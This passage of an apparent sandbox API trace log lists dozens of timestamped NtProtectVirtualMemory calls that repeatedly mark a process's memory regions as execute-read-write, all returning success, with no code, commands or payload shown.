NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.250] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.260] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.271] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.291] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.301] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.312] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.323] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.341] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.351] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.361] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.379] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.390] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.400] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.412] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.429] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.440] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.456] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.486] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.502] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.530] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.547] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.573] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.588] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.603] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.627] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.641] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.666] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.685] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.713] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.730] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.758] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.775] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.791] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.818] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.834] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.862] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.877] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.904] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.926] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.946] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.980] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.996] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.009] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.031] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.045] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.085] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.098] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.109] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.126] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.137] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.147] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.161] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.178] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.212] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.222] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.241] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.251] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.262] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.272] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.289] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.301] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.312] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.329] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.339] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.350] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.360] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.377] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.387] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.397] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.408] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.426] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.436] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.448] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.463] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.489] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.503] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.528] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.542] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.555] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.572] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.583] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.593] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.610] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.620] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.631] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.642] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.658] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.669] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.679] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, 